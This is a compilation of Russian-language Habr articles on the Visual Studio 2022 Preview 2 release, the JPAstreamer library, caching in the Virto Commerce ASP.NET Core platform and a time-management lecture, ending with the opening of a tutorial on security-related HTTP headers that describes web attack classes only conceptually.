Вышла Visual Studio 2022 Preview 2

Мы рады объявить о выпуске второй предварительной версии Visual Studio 2022! Preview 1 была первой 64-разрядной версией Visual Studio, обеспечивающей улучшенную масштабируемость. Начиная с Preview 2, мы сосредоточены на предоставлении новых возможностей в таких областях, как личная и командная продуктивность, новые разработки и постоянные инновации. В этом посте мы расскажем о нескольких новых возможностях Visual Studio 2022.

Скачать Visual Studio 2022 Preview 2.

Теперь и на русском

В Microsoft наша миссия — дать возможность каждому человеку и каждой организации на планете добиваться большего. Команда Visual Studio привержена этой миссии для разработчиков.

Предварительная версия 1 была доступна только на английском языке, а предварительная версия 2 полностью локализована. Вы можете выбрать один из более чем десятка языковых пакетов: английский, китайский (упрощенный), китайский (традиционный), чешский, французский, немецкий, итальянский, японский, корейский, польский, португальский (Бразилия), русский, испанский и турецкий.

Наша первая предварительная версия Visual Studio 2022 включала новый, более удобный для чтения шрифт Cascadia Code. Во втором предварительном выпуске мы улучшаем удобство использования Visual Studio для всех с помощью обновленных значков, которые стали более четкими и легче различимы.

Создание современных приложений

Приложения и разработчики, которые их создают, имеют решающее значение для успеха компаний во всем мире. Компании ожидают еще большего от своих приложений в рамках цифровой трансформации. Осуществление этих ожиданий означает создание приложений с использованием новейших технологий. Visual Studio 2022 имеет как инструменты, помогающие поддерживать ваши существующие приложения, так и инструменты, которые помогут вам создавать новые приложения. В конечном итоге мы хотим добиться успеха для вас, вашего бизнеса и ваших клиентов.

Preview 2 поставляется с последней версией (v143) инструментов сборки C++, которые бинарно совместимы с другими инструментами 14x. Эти инструменты доступны как в Visual Studio, так и в автономном установщике Build Tools. Обновление ваших приложений C++ для использования новейших функций C++ 20 должно происходить без проблем.

VS 2022 не только является лучшим местом для разработки современных приложений Windows с помощью C++, но и включает возможности для создания кроссплатформенных приложений. В Preview 2 мы расширили наши кроссплатформенные возможности, добавив новую интеграцию CMake и бесшовный таргетинг для WSL2 — без необходимости ручной настройки.

Для разработчиков .NET Visual Studio 2022 станет местом для создания следующей волны кроссплатформенных приложений с .NET MAUI и Blazor.

Персональная и командная продуктивность

Как мы говорили в блоге о видении Visual Studio 2022, важной областью для нас является предоставление инновационных функций, которые революционизируют разработку. Начиная с Preview 2, вы увидите новые возможности для повышения производительности в Visual Studio.

Как разработчики, мы тратим большую часть времени в рамках создания приложений на повторяющиеся изменения и запуск приложения для проверки этих изменений. Этот процесс трудоемкий и утомительный. Внесение простейших изменений может занять несколько минут. Preview 2 предлагает новые возможности Live Preview как для XAML, так и для веб-приложений. Вы сможете вносить эти итеративные изменения в свое приложение в редакторе и видеть разницу в реальном времени. Больше не нужно перекомпилировать и запускать, когда вы просто хотите подтолкнуть что-то на пару пикселей!

Новый Web Live Preview — это следующее поколение веб-дизайнеров для ASP.NET. Web Live Preview добавляет инструменты, которые делают веб-дизайн более доступным. И вы можете видеть изменения, которые вы вносите в среду IDE, даже с помощью элементов управления с привязкой к данным!

Помимо уменьшения сопротивления в цикле редактирования/отладки элементов дизайна с помощью Live Preview, Visual Studio имеет новые возможности, которые помогут вам более эффективно отлаживать код. Познакомьтесь с Force Run, новой командой отладки, которая запускает ваше приложение до определенной точки, игнорируя любую другую точку останова или исключение. Force Run отлично подходит для выхода из циклов с точками останова.

Инновации у вас под рукой

Еще одна важная часть нашего видения Visual Studio 2022 — раскрыть ваш потенциал как разработчика с действительно инновационными возможностями. В Preview 1 мы добавили IntelliCode для завершения всей строки. А с Preview 2 мы обновляем Hot Reload, включая поддержку приложений C++! С помощью Hot Reload вы можете редактировать проекты C++ или .NET во время работы вашего приложения. Во многих случаях вы можете применить эти изменения кода без приостановки приложения. Чтобы использовать горячую перезагрузку в работающем приложении, нажмите кнопку «Применить изменения кода» на панели инструментов.

ссылка на оригинал статьи https://habr.com/ru/company/microsoft/blog/568718/

Можно ли подружить Stream API и JPA?

В этой статье я хотел бы познакомить сообщество с библиотекой JPAstreamer. Идея этой библиотеки очень проста, но в то же время гениальна — получать нужные нам сущности из бд так, как если бы мы просто обрабатывали поток сущностей в стриме.

Если интересно посмотреть, что может библиотека, то прошу под кат.


Итак, у нас есть проблема — в нашем приложении мы используем JPA и мы хотим каким-либо образом выполнять селекты на БД более эффективно. При этом хотелось бы интуитивно понятный интерфейс, такой как в Stream API.

Для решения подобной задачи были придуманы следующие технологии — Hibernate Query Language (HQL) и Java Persistence Query Language (JPQL). Но они предлагают довольно запутанные методы решения проблемы, которые не очень понятны сразу. 

С библиотекой JPAstreamer подход к получению сущностей меняется. Она позволяет нам в stream-like манере записать наш селект для сущностей, который впоследствии будет выполнен на базе.

Давайте рассмотрим по порядку как это происходит.

Под капотом JPAstreamer использует annotation processor, такой же как, например, в lombok. Во время компиляции он анализирует наш код на наличие в нем JPA сущностей и генерирует для них метамодель. То есть если в нашем коде есть класс Book помеченный аннотацией @Entity для него будет генерировать класс Book$ с метамоделью. Найти этот класс можно тут — target/generated-sources/annotations, либо, если вы используете gradle — build/generated/sources/annotationProcessor.

Зачем нужны метамодели? 

Так как в итоге мы хотим работать только с интерфейсом Stream, то мы должны дать понять библиотеке в какой момент мы передаем информацию о селекте и в какой момент мы уже обрабатываем полученный результат. Поэтому на основе нашей сущности создается метамодель, где присутствует описание каждого поля. 

Соответственно, когда мы работаем с полями метамодели — мы описываем правила селекта сущностей. Когда же мы используем поля сущности — мы уже работаем с результатом, который вернул селект.

Собственно, рассмотрим это на примере. Для этого я создам проект на Spring Boot и добавлю в него пару сущностей.

Добавим в наш проект зависимости:

implementation 'com.speedment.jpastreamer:jpastreamer-core:1.0.2' annotationProcessor "com.speedment.jpastreamer:fieldgenerator-standard:1.0.2" implementation 'com.speedment.jpastreamer.integration.spring:spring-boot-jpastreamer-autoconfigure:1.0.2' 

Далее создаем сущности:

@Entity public class Book {    @Id    private UUID id;    private String title;    private int price;    @ManyToOne(fetch = FetchType.LAZY)    private Author author; }  @Entity public class Author {    @Id    private UUID id;    private String name;    @OneToMany(mappedBy = "author")    private Set<Book> books; } 

Сгенерированные библиотекой классы будут выглядеть так:

public final class Author$ {       /**     * This Field corresponds to the {@link Author} field name.     */    public static final StringField<Author> name = StringField.create(        Author.class,        "name",        Author::getName,        false    );    /**     * This Field corresponds to the {@link Author} field id.     */    public static final ComparableField<Author, UUID> id = ComparableField.create(        Author.class,        "id",        Author::getId,        false    );    /**     * This Field corresponds to the {@link Author} field books.     */    public static final ReferenceField<Author, Set<Book>> books = ReferenceField.create(        Author.class,        "books",        Author::getBooks,        false    ); } 

Теперь рассмотрим несколько примеров использования библиотеки.

Пример кода я загрузил на сюда.

Для того, чтобы получить все сущности просто выполним код:

var books = jpaStreamer.stream(Book.class).toList();

Теперь попробуем отфильтровать книги старше 2020 года.

var books = jpaStreamer.stream(Book.class)        .filter(Book$.year.greaterOrEqual(2020))        .toList();

В консоли мы увидим следующий запрос:

Hibernate: select book0_.id as id1_1_, book0_.author_id as author_i5_1_, book0_.price as price2_1_, book0_.title as title3_1_, book0_.year as year4_1_  from book book0_ where book0_.year>=?

А если фильтр сделать не через класс метамодели?

var books = jpaStreamer.stream(Book.class)        .filter(x -> x.getYear() >= 2020)        .toList();

Получим в результате вывод на консоль следующего запроса:

Hibernate: select book0_.id as id1_1_, book0_.author_id as author_i5_1_, book0_.price as price2_1_, book0_.title as title3_1_, book0_.year as year4_1_ from book book0_

Собственно, в данном случае мы уже использовали результат селекта при фильтрации, поэтому нужно обязательно использовать поля метамодели для создания эффективного селекта.

Мы можем комбинировать селекты:

var books = jpaStreamer.stream(Book.class)        .filter(Book$.year.greaterOrEqual(2020))        .filter(Book$.price.in(1000.0, 1700.0))        .toList();

Сортировать:

var books = jpaStreamer.stream(Book.class)        .sorted(Book$.price)        .toList();

Соответственно запрос в БД:

Hibernate: select book0_.id as id1_1_, book0_.author_id as author_i5_1_, book0_.price as price2_1_, book0_.title as title3_1_, book0_.year as year4_1_  from book book0_ order by book0_.price asc

Сортировки можно делать и более сложные:

jpaStreamer.stream(Book.class) .sorted(Book$.price.reversed().thenComparing(Book$.title.comparator()))        .toList();

Мы также можем выполнять операции пагинации с помощью методов skip и limit:

var books = jpaStreamer.stream(Book.class)        .sorted(Book$.price)        .skip(3)        .limit(3)        .toList();

Запрос в БД:

Hibernate: select book0_.id as id1_1_, book0_.author_id as author_i5_1_, book0_.price as price2_1_, book0_.title as title3_1_, book0_.year as year4_1_  from book book0_ order by book0_.price asc limit ? offset ?

Мы можем создавать и более сложные запросы, например выполнять операцию JOIN.

Для начала получим авторов всех книг:

var authors = jpaStreamer.stream(Book.class)        .map(Book::getAuthor)        .toList();

На консоли увидим:

Hibernate: select author0_.id as id1_0_0_, author0_.name as name2_0_0_ from author author0_ where author0_.id=? Hibernate: select author0_.id as id1_0_0_, author0_.name as name2_0_0_ from author author0_ where author0_.id=? Hibernate: select author0_.id as id1_0_0_, author0_.name as name2_0_0_ from author author0_ where author0_.id=? Hibernate: select author0_.id as id1_0_0_, author0_.name as name2_0_0_ from author author0_ where author0_.id=? Hibernate: select author0_.id as id1_0_0_, author0_.name as name2_0_0_ from author author0_ where author0_.id=?

Это не есть хорошо 🙂 Решим эту проблему через joining:

var configuration = StreamConfiguration.of(Book.class)        .joining(Book$.author); var authors = jpaStreamer.stream(configuration)        .map(Book::getAuthor)        .toList();

Теперь все работает замечательно.

Конфигурации JOIN можно настраивать — для этого есть перечисление:

public enum JoinType {     /** Inner join. */    INNER,     /** Left outer join. */    LEFT,     /** Right outer join. */    RIGHT }

Стоит упомянуть, что авторы в документации сделали приятную таблицу со списком операций SQL и их маппингом на стримы:

Заключение

Я очень люблю стримы и эта библиотека стала для меня приятным открытием. На мой взгляд, она позволяет более прозрачно и просто описывать нужную нам логику для запросов в БД. А это в свою очередь ведет к более надежным и легко поддерживаемым приложениям. Спасибо за внимание!

ссылка на оригинал статьи https://habr.com/ru/post/568794/

Опыт кэширования данных eCommerce в Azure Cloud на примере платформы Virto Commerce (ASP.NET Core)

Эта статья — про опыт кэширования приложения eCommerce, написанного на ASP.NET Core и работающего в облаке Azure Cloud. Общеизвестно, что кэширование может значительно улучшить производительность и масштабируемость тяжелых приложений, в том числе платформ eCommerce, за счет за счет ускорения доступа к данным из бэкенда. При этом кэширование лучше всего работает с данными, которые меняются относительно редко и/или создание которых требует больших затрат.    

«В компьютерных науках есть только две сложные вещи: инвалидация кэша и присвоение имен», — Фил Карлтон, разработчик Netscape.

Команда Virto DevLabs протестировала несколько различных способов кэширования данных в приложении, чтобы снизить нагрузку на внешние службы, базу данных и минимизировать задержку приложения при обработке запросов API.

Далее — про технические детали о методах кэширования, которые мы оценили как лучшие и которые используем на платформе электронной В2В торговли. Вот список тем, которые затронуты в данной статье:

  • Проблемы при использовании distributed кэша;

  • Эксклюзивное “потокобезопасное” получение данных для добавления в кэш, при многопоточном доступе;

  • Оригинальный подход к генерации ключей для кэширования, особенно для объектов комплексных типов;

  • Управление временем жизни объектов в кэше через глобальные настройки и логические объединения в регионы;

  • Кэширование нулевых значений;

  • Синхронизация локальных кэшей для разных экземпляров приложения через сторонний сервис (backplane).

Шаблон Cache-Aside

Был выбран Cache-Aside в качестве основного шаблона Azure Cloud Design Patterns для всей логики кэширования, потому что он очень прост и понятен для реализации и тестирования. Шаблон позволяет приложениям загружать данные по запросу:

https://github.com/VirtoCommerce/vc-platform/blob/master/docs/media/essential-caching-1.png
https://github.com/VirtoCommerce/vc-platform/blob/master/docs/media/essential-caching-1.png

Механизм Cache-Aside работает по классике жанра: когда нужны конкретные данные, мы сначала пытаемся получить их из кэша. Если данных нет в кэше, мы получаем их из источника, добавляем в кэш и возвращаем. В следующий раз эти данные будут возвращены из кэша. Этот шаблон повышает производительность, а также помогает поддерживать согласованность между данными, хранящимися в кэше, и данными в базовом хранилище данных. Дополнительную информацию о шаблоне Cache-Aside см. в документации Microsoft.

О проблемах реализация шаблона Cache-Aside с использованием ASP.NET Core in-memory cache

Мы не использовали распределенный (distributed) кэш в коде платформы, т.к. хотели сохранить гибкость и простоту конфигурации платформы и предпочитаем решать потенциальные проблемы масштабируемости другими способами (см. раздел «Масштабируемость» ниже).

У распределенного (distributed) кэша есть три существенных недостатка, которые повлияли на наше решение не использовать его в нашем продукте:

  • Все кэшированные данные должны поддерживать сериализацию и десериализацию, что не всегда возможно сделать прозрачно для всех сущностей в приложении;

  • Возможно снижение производительности по сравнению со встроенной кэш-памятью из-за сетевых вызовов для кэшированных данных (network latency);

  • Так как отказаться от in-memory режима не всегда возможно, то при использовании смешанного кэширования (in-memory + distributed) в приложении будет сложно определять, какой тип использовать в конкретной ситуации. Это важно особенно для продуктов с открытым кодом, и для таких продуктов как Virto Commerce B2B eCommerce platform не будет плюсом.

Сериализация преобразует объект в поток байтов, поэтому его можно вывести из процесса либо для сохранения, либо для отправки другому процессу. Десериализация — это обратный процесс, который преобразует поток байтов обратно в объект.

Механизм сериализации, предоставляемый платформой .NET, имеет две основные проблемы:

— Медленно: сериализация .NET использует отражение (Reflection) для проверки информации о типе во время выполнения. Отражение — медленный процесс по сравнению с предварительно скомпилированным кодом.

— Громоздко: .NET Serialization хранит полное имя класса, культуру, детали сборки и ссылки на другие экземпляры в переменных-членах, и все это делает сериализованный поток байтов много больше исходного объекта по размеру.

Поэтому для кэширования платформы мы выбрали работу с In-memory cache. Следует сказать, что ASP.NET Core поддерживает Distributed caching, но мы отказались от его использования в виду вышеперечисленных проблем.

Простая Cache-Aside реализация шаблона с использованием абстракции IMemoryCache выглядит так:

public object GetDataById(string objectId) {     object data;     if (!this._memoryCache.TryGetValue($"cache-key-{objectId}", out data))     {         data = this.GetObjectFromDatabase(objectId);         this._memoryCache.Set($"cache-key-{objectId}", data, new TimeSpan(0, 5, 0));     }     return data; }

У этой стандартной реализации кода есть несколько недостатков (и поэтому ниже мы представим свое решение):

  • Требуется ручное создание ключа кэша и знание правил построения ключей, плюс забота об их уникальности;

  • Это не является «потокобезопасным», т.е. несколько потоков будут пытаться получить доступ к одному и тому же ключу кэша одновременно, что может привести к избыточному обращению к источнику данных. Хотя это может и не быть проблемой, если ваше приложение не имеет высокой одновременной нагрузки и дорогостоящих запросов к серверной части,  

  • Предполагается ручное управление временем жизни кэшированных данных. Выбор правильных значений для срока службы затруднен и снижает продуктивность разработчика, также затрудняет поддержку приложения из-за сложных настроек времени жизни объектов в кэше для различных подсистем приложения.

Относительно новые методы MemoryCache, — GetOrCreate/GetOrCreateAsync, — также страдают от этих проблем, а это значит, что мы не можем использовать их в том виде, в каком они есть. Вот в этой статье проблема описывается более подробно: ASP.NET Core Memory Cache — Is the GetOrCreate method thread-safe.

Что мы сделали для улучшения кода

Чтобы решить вышеупомянутые проблемы, мы определили собственные расширения IMemoryCacheExtensions.. Эта реализация гарантирует, что кэшируемые делегаты (промахи кэша) вызываются только один раз даже при условии одновременного доступа нескольких потоков (условий гонки). Кроме того, это расширение обеспечивает более компактный синтаксис для клиентского кода.

Вот вариант предыдущего примера кода с новым расширением:

public object GetDataById(string objectId) 2   { 3       object data; 4       var cacheKey = CacheKey.With(GetType(), nameof(GetDataById), id); 5       var data = _memoryCache.GetOrCreateExclusive(cacheKey, cacheEntry => 6           { 7             cacheEntry.AddExpirationToken(MyCacheRegion.CreateChangeToken());  8             return this.GetObjectFromDatabase(objectId); 9           }); 10      return data; 11  }

Теперь можно остановиться на разборе сделанных изменений в коде.

Генерация ключей

Специальный статический класс CacheKey (строка 4 в примере выше) предоставляет метод для создания уникального ключа строкового кэша в соответствии с переданными аргументами и информацией о типе / методе.

CacheKey.With(GetType(), nameof(GetDataById), "123"); /* =>  "TypeName:GetDataById-123" */

CacheKey также можно использовать для генерации ключей кэша для объектов сложных типов. Большинство типов платформ являются производными от классов Entity или ValueObject, каждый из этих типов реализует интерфейс ICacheKey, содержащий метод GetCacheKey (), который можно использовать для генерации ключей кэша.

class ComplexValueObject : ValueObject {     public string Prop1 { get; set; }     public string Prop2 { get; set; } } var valueObj = new ComplexValueObject { Prop1 = "Prop1Value", Prop2 = "Prop2Value" }; var data = CacheKey.With(valueObj.GetCacheKey()); //cacheKey will take the value "Prop1Value-Prop2Value"

Конкурентный доступ

Теперь скажем про потокобезопасное кэширование:

В строке 5 (в примере выше) метод _memoryCache.GetOrCreateExclusive () вызывает расширение потокобезопасного кэширования, которое гарантирует, что кэшируемый делегат (вызываемый при отсутствии данных в кэше) выполняется только один раз при параллельном вызове из нескольких потоков.

Также доступна асинхронная версия этого метода расширения: _memoryCache.GetOrCreateExclusiveAsync ().

Следующий код демонстрирует как работает этот монопольный доступ к кэшируемому делегату:

public void GetOrCreateExclusive()         {             var sut = new MemoryCache();             int counter = 0;             Parallel.ForEach(Enumerable.Range(1, 10), i =>             {                 var item = sut.GetOrCreateExclusive("test-key", cacheEntry =>                 {                     cacheEntry.SlidingExpiration = TimeSpan.FromSeconds(10);                     return Interlocked.Increment(ref counter);                 });                Console.Write($"{item} ");             });         }

Получаем вывод на консоль:
1 1 1 1 1 1 1 1 1 1

Управление временем жизни

Управление временем жизни объектов в кэше происходит в строке 7,

cacheEntry.AddExpirationToken(MyCacheRegion.CreateChangeToken()); 

где создается объект CancellationTokenSource. Он связан с кэшированными данными и строго типизированным регионом MyCacheRegion, что позволяет объединять кэшированные данные в логические группы (регионы), через которые можно управлять временем жизни этих объектов в кэше. Например, удалить все связанные данные из кэша одним простым вызовом метода  MyCacheRegion.ExpireRegion(). Более подробно о том, как работают зависимости в кэше в статье ASP.NET Core Memory Cache dependencies.

Для In-memory cache в cache-dependencies есть один механизм, позволяющий неявно связывать кэшированные данные в одну группу. Вот выдержка из документации:

using (var entry = _cache.CreateEntry(CacheKeys.Parent))     { …  } With the using pattern in the code above, cache entries created inside  the using block will inherit triggers and expiration settings.

Таким образом, все данные, которые будут добавлены в кэш внутри секции using, унаследуют настройки по времени жизни от родителя. В этом проекте мы категорически отказались от такой скрытой возможности, так как она приводила к непредсказуемому поведению по управлению времени жизни объектов в кэше, и понадобилось много времени, чтобы отловить порожденные таким «счастьем» баги.

Если говорить об управлении временем жизни объектов в кэше, то в нашем продукте мы избегали ручного управления временем жизни кэшированных данных в коде. Платформа Virto Commerce имеет специальный объект CachingOptions, который содержит настройки абсолютного или относительного  времени жизни для всех кэшированных данных (см. ниже).

Строго типизированные регионы кэша

Платформа поддерживает конструкцию, называемую строго типизированными регионами кэша (Cache regions), которая используется для управления временем жизни сгруппированных / связанных объектов в кэше.

Для этих целей мы определили generic класс  CancellableCacheRegion <>. У этого класса есть методы AddExpirationToken и ExpireRegion, которые можно использовать для добавления либо удаления всех данных из кэша для данного региона:

//Region definition public static class MyCacheRegion : CancellableCacheRegion<MyCacheRegion> {     }  //Usage cacheEntry.AddExpirationToken(MyCacheRegion.CreateChangeToken());   //Expire all data associated with the region MyCacheRegion.ExpireRegion();

Также существует специальная область (регион) GlobalCacheRegion, которую можно использовать для истечения срока действия всех кэшированных данных всего приложения:

//Expire all cached data for entire application GlobalCacheRegion.ExpireRegion();

С удивлением обнаружили для себя что в стандартной реализации InMemoryCaching отсутствует встроенный механизм по очистки всего кэша, так что способ с глобальным регионом пришлось реализовать самим, как рекомендовалось в этой статье https://stackoverflow.com/questions/34406737/how-to-remove-all-objects-reset-from-imemorycache-in-asp-net-core/.

Впоследствии мы еще хлебнули с этим подходом ввиду того, что токены, ассоциированные с глобальным регионом, не вычищались сборщиком мусора и  приводили к огромным утечкам памяти, вот мой Gist который демонстрирует проблему: https://gist.github.com/tatarincev/4c942a7603a061d41deb393e0aa66545. В итоге проблему решили, хотя, как говорится, осадок остался.

Кэширование пустых значений

По умолчанию, платформа кэширует нулевые значения. Если отрицательное кэширование является выбором дизайна, это дефотное поведение по умолчанию можно изменить, передав false в cacheNullValue в методе GetOrCreateExclusive, например:

 var data = _memoryCache.GetOrCreateExclusive(cacheKey, cacheEntry => {},  cacheNullValue: false);

Параметры кэша и масштабирование

Мы вынесли три основных параметра управления кэшем в конфигурацию приложения, чтобы эти параметры можно было изменять в зависимости от условий эксплуатации.

 "Caching": {         //Позволяет отключить кэширование на уровне всего приложения. Удобно для отладки и траблшутинга.         "CacheEnabled": true,           //Относительное – относительно последнего обращения, глобальное время жизни для обьектов в кэше,           "CacheSlidingExpiration": "0:15:00",          //Глобальное абсолютное время жизни  для всех обьектов в кэше. Имеет приоритет над CacheSlidingExpiration         //"CacheAbsoluteExpiration": "0:15:00"     }

Теперь пара слов про обещанное ранее масштабирование. Запуск нескольких экземпляров платформы, каждый из которых имеет свой собственный локальный кэш, и который, в свою очередь, должен согласовываться с кэшем других экземпляров, может быть сложной задачей. Без решения этой задачи каждый экземпляр приложения будет иметь несогласованные данные, что точно не понравится клиентам наших сервисов.

Для решения этой проблемы нам был нужен некий внешний сервис, который бы выступал в качестве ретранслятора (backplane) всех операций по удалению объектов из кэша, и к которому были бы подключены все экземпляры приложения. Через pub/sub экземпляры сообщали бы или узнавали обо всех изменениях с кэшем в других инстансах, тем самым поддерживая закэшированные данные в памяти в согласованном состоянии с актуальными значениями в источнике данных.

Службу Redis в качестве ретранслятора (backplane) синхронизации локальных кэшей
Службу Redis в качестве ретранслятора (backplane) синхронизации локальных кэшей

В статье How to scale out platform on Azure более подробно описано, как масштабировать платформу в Azure и как настроить службу Redis в качестве ретранслятора (backplane) синхронизации локальных кэшей в случае нескольких экземпляров платформы электронной коммерции Virto Commerce.

Заключение

В этой статье мы постарались познакомить вас с некоторыми наиболее часто встречающими проблемами реализации и работы с кэшированием. Заодно рассказать, как мы справились с этим проблемами в проекте Virto Commerce .NET B2B eCommerce-платформы.

Еще раз — краткий список того, что было затронуто в статье:

  • Проблемы при использовании distributed-кэша;

  • Эксклюзивное “потокобезопасное” получение данных для добавления в кэш, при многопоточном доступе;

  • Оригинальный подход к генерации ключей для кеширования, особенно для объектов комплексных типов;

  • Управление временем жизни объектов в кэше через глобальные настройки и логические объединения в регионы;

  • Кэширование нулевых значений;

  • Синхронизация локальных кэшей для разных экземпляров приложения через сторонний сервис (backplane).

Хочу поблагодарить коллег Евгения Татаринцева и Олега Жука за помощь в работе над этим постом.

Спасибо, что дочитали до конца, — если будут вопросы или захотите поделиться своим опытом кэширования тяжелых приложений ASP.NET Core — ждем откликов в комментариях.

ссылка на оригинал статьи https://habr.com/ru/post/568756/

Лекция: тайм-менеджмент и ловушки в управлении временем

Одной из интересных и полезных традиций нашей компании является проведение лекций. И они проводятся не только по темам из области технологий и программирования, но и по так называемым soft skills. Недавно наш пунктуальный и системный project менеджер Антон Белоусов делился приемами, которые помогают эффективно выстраивать день и не сбиваться с ритма. Спешим поделиться основными тезисами из его выступления.

Мы разобрались, что входит в тайм-менеджмент:

  • определение миссии и ценностей;

  • постановка и достижение целей;

  • планирование повседневных дел;

  • планирование и учёт времени;

  • повышение производительности труда;

  • организация рабочего процесса;

  • расстановка приоритетов;

  • делегирование и контроль; 

  • анализ проблем и их решение;

  • создание и поддержание мотивации;

  • борьба с ленью и прокрастинацией;

  • развитие самодисциплины.

Каким он бывает:

  • Личным — внедряется по своей инициативе. Достижение личных целей.

  • Корпоративным — внедряется руководством. Достижение целей организации.

Узнали о хронофагах — ловушках, которые воруют наше время, — и как их обойти. 

Занятия, люди, психологические и физические обстоятельства, организационные просчеты — все это хронофаги, которые можно победить. Способы борьбы: анализ своего тайм-менеджмента и внутреннего состояния, умение сказать «нет».

Мы разобрали методы, которые помогают эффективно работать и следовать графику:​

Помидор

Вы работаете 25 минут, делаете пятиминутный перерыв, затем снова уходите в работу. Через каждые четыре повтора — перерыв 30 минут.

Девятка дел

В течение дня нужно «закрыть» одну крупную задачу, три задачи поменьше и пять мелких. Подходят дела вроде подготовки к встрече с будущими клиентами, и задачи попроще, например покупка корма питомцу. Так домашние дела не пропадают из вида и входят в расчет собственной нагрузки.

Хронотип 

Метод подойдет тем, кто хочет составить для себя идеальный распорядок дня. Кандидат медицинских наук и клинический психолог Майкл Бреус считает, что существует четыре хронотипа. У каждого из них свое идеальное время для пробуждения, пик продуктивности и режим сна.

Найденное время

Составить список из 20-25 дел, на которые обычно не остаётся времени; выполнять по несколько заданий из списка, как только появится «окно». Перечень потребуется регулярно пополнять.

Скоринг

Скоринг задач (приоритизация списка задач) — один из инструментов, который регулярно используют при разработке и запуске продукта. Скоринг нужен для очистки списка от ненужных, бесполезных или утративших актуальность задач. Метод пришёл из спорта. 

​Слотовое планирование

Блочное планирование — это способ организации дня, при котором схожие задачи объединяются в блоки. Например, водные процедуры, зарядка и завтрак объединяются в утренний блок, а задачи «пропылесосить ковер» и «протереть пыль» — в блок «Уборка».

Getting Things Done

Идея метода заключается в том, что человеку необходимо разгрузить голову от лишней рутинной информации, перенеся ее на внешний носитель, будь-то лотки с бумагами, книжка-ежедневник или электронный органайзер.

По тайм-менеджменту прошлись вдоль и поперек. И остались довольны. Приступаем к практике!

ссылка на оригинал статьи https://habr.com/ru/post/568014/

Памятка и туториал по HTTP-заголовкам, связанным с безопасностью веб-приложений

Доброго времени суток, друзья!

В этой статье я хочу поделиться с вами результатами небольшого исследования, посвященного HTTP-заголовкам, которые связаны с безопасностью веб-приложений (далее — просто заголовки).

Сначала мы с вами кратко разберем основные виды уязвимостей веб-приложений, существующие в вебе, а также основные виды атак, основанные на этих уязвимостях. Далее мы рассмотрим все современные заголовки, каждый — по отдельности. Это в теоретической части статьи.

В практической части мы реализуем простое Express-приложение, развернем его на Heroku и оценим безопасность с помощью WebPageTest и Security Headers. Также, учитывая большую популярность сервисов для генерации статических сайтов, мы настроим и развернем приложение с аналогичным функционалом на Netlify.

Исходный код приложений находится здесь.

Демо Heroku-приложения можно посмотреть здесь, а Netlify-приложения — здесь.

Основными источниками истины при подготовке настоящей статьи для меня послужили следующие ресурсы:

Заголовки безопасности

Все заголовки условно можно разделить на три группы.

Заголовки для сайтов, на которых обрабатываются чувствительные (sensitive) данные пользователей

  • Content Security Policy (CSP);
  • Trusted Types.

Заголовки для всех сайтов

  • X-Content-Type-Options;
  • X-Frame-Options;
  • Cross-Origin Resource Policy (CORP);
  • Cross-Origin Opener Policy (COOP);
  • HTTP Strict Transport Security (HSTS).

Заголовки для сайтов с продвинутыми возможностями

Под продвинутыми возможностями в данном случае понимается возможность использования ресурсов сайта другими источниками (origins) или возможность встраивания или внедрения (embedding) сайта в другие приложения. Первое относится к сервисам вроде CDN (Content Delivery Network — сеть доставки и дистрибуции содержимого), второе к сервисам вроде песочниц — специально выделенные (изолированные) среды для выполнения кода. Под источником понимается протокол, хост, домен и порт.

  • Cross-Origin Resource Sharing (CORS);
  • Cross-Origin Embedder Policy (COEP).

Угрозы безопасности, существующие в вебе

Защита сайта от внедрения кода (injection vulnerabilities)

Угрозы, связанные с возможностью внедрения кода, возникают, когда непроверенные данные, обрабатываемые приложением, могут оказывать влияние на поведение приложения. В частности, это может привести к выполнению скриптов, управляемых атакующим (принадлежащих ему). Наиболее распространенным видом атаки, связанной с внедрением кода, является межсайтовый скриптинг (Cross-Site Scripting, XSS; к слову, сокращение XSS было выбрано во избежание путаницы с CSS) в различных формах, включая отраженные или непостоянные XSS (reflected XSS), хранимые или постоянные XSS (stored XSS), XSS, основанные на DOM (DOM XSS) и т.д.

XSS может предоставить атакующему полный доступ к пользовательским данным, которые обрабатываются приложением, и к другой информации в пределах источника.

Традиционными способами защиты от XSS являются: автоматическое экранирование шаблонов HTML с помощью специальных инструментов, отказ от использования небезопасных JavaScript API (например, eval() или innerHTML), хранение данных пользователей в другом источнике и обезвреживание или обеззараживание (sanitizing) данных, поступающих от пользователей, например, через заполнение ими полей формы.

Рекомендации

  • используйте CSP для определения того, какие скрипты могут выполняться в вашем приложении;
  • используйте Trusted Types для обезвреживания данных, передаваемых в небезопасные API;
  • используйте X-Content-Type-Options для предотвращения неправильной интерпретации браузером MIME-типов загружаемых ресурсов.

Изоляция сайта

Открытость веба позволяет сайтам взаимодействовать друг с другом способами, которые могут привести к нарушениям безопасности. Это включает в себя отправку "неожиданных" запросов на аутентификацию или загрузку данных из приложения в документ атакующего, что позволяет последнему читать или даже модифицировать эти данные.

Наиболее распространенными уязвимостями, связанными с общей доступностью приложения, являются кликджекинг (clickjacking), межсайтовая подделка запросов (Cross-Site Request Forgery, XSRF), межсайтовое добавление или включение скриптов (Cross-Site Script Inclusion, XSSI) и различные утечки информации между источниками.

Рекомендации

  • используйте X-Frame-Options для предотвращения встраивания вашего документа в другие приложения;
  • используйте CORP для предотвращения возможности использования ресурсов вашего сайта другими источниками;
  • используйте COOP для защиты окон (windows) вашего приложения от взаимодействия с другими приложениями;
  • используйте CORS для управления доступом к ресурсам вашего сайта из других источников.

Безопасность сайтов со сложным функционалом

Spectre делает любые данные, загруженные в одну и ту же группу контекста просмотра (browsing context group), потенциально общедоступными, несмотря на правило ограничения домена. Браузеры ограничивают возможности, которые могут привести к нарушению безопасности с помощью среды выполнения кода под названием "межсайтовая изоляция" (Cross-Origin Isolation). Это, в частности, позволяет безопасно использовать такие мощные возможности, как SharedArrayBuffer.

Рекомендации

  • используйте COEP совместно с COOP для обеспечения межсайтовой изоляции вашего приложения.

Шифрование исходящего трафика

Недостаточное шифрование передаваемых данных может привести к тому, что атакующий, в случае перехвата этих данных, получит информацию о взаимодействии пользователей с приложением.

Неэффективное шифрование может быть обусловлено следующим:

  • использование HTTP вместо HTTPS;
  • смешанный контент (когда одни ресурсы загружаются по HTTPS, а другие — по HTTP);
  • куки без атрибута Secure или соответствующего префикса (также имеет смысл определять настройку HttpOnly);
  • слабая политика CORS.

Рекомендации

  • используйте HSTS для обслуживания всего контента вашего приложения через HTTPS.

Перейдем к рассмотрению заголовков.

Content Security Policy (CSP)

